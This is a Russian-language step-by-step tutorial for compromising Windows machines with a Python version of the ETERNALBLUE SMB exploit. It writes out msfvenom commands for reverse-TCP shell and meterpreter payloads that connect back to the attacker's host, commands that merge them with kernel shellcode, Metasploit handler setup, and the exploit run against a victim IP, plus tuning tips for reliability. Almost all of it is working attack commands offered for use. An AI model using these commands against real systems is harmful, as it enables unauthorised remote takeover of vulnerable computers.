Версия эксплоит ETERNALBLUE на Python.
И так, инструменты:
Kali Linux
NASM
Python v2.7
Metasploit Framework
Тестируемый хост должен иметь включенную гостевую учетную запись(иначе получите ошибку) или известную пару логин:пароль!
Шелл-код уровня ядра берем здесь:
https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm
Проведем два вида атаки:
1. получим обратный шелл через TCP
2. получим сессию в meterpreter.
Готовим начинку:
Сохраняем .аsm файл и компилируем: nasm -f bin kernel_shell_x64.asm.
#msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=[хост атакующего] LPORT=4444
#msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread LHOST=[хост атакующего] LPORT=4444
Сольем шелл-код и полезную нагрузку в экстазе:
#cat kernel_shell_x64 shell_msf.bin>reverse_shell.bin
#cat kernel_shell_x64 meterpreter_msf.bin>meterpreter.bin
Готовим Metasploit к тесту:
> use exploit/multi/handler
> set PAYLOAD windows/x64/shell/reverse_tcp
> set LHOST IP_ATTACKER
> set LPORT 4444
> exploit
*Started reverse *****
*Started payload *****
(нехай ждет )
Качаем эксплоит от Sleepya. Берем здесь:
https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e.
Сохраняем как exploit.py
Готовим сплойт для тестирования с использованием на тачке с не отключенной гостевой учетной записью.
Ищем в сплойте строки 42 и 43 и заполняем:
PASSWORD=' '
(Если известны пара L:P применяем их)
Запускаем:
#python exploit.py <ipжертвы> reverseshell.bin 500
Версия эксплоит ETERNALBLUE на Python.
После запуска сплойта, получаем сессию в Metasploit.
Аналогично поступаем для создания сессии с meterpreter.
Готовим Метасплоит:
> use exploit/multi/handler
> set PAYLOAD windows/x64/meterpreter/reverse_tcp
> set LHOST IP
> set LPORT 4444
> exploit
Редактируем exploit.py (см. выше)
Стартуем эксплоит:
python exploit.py <ip_жертвы> meterpreter.bin 200
Версия эксплоит ETERNALBLUE на Python.
Значение параметра numGroomConn установим в 200 для уменьшения количества соединений
(500 многовато, практически всегда атакуемая машина выпадает в Time-out, оптимально на мой взгляд ставить 300)
Получаем сессию.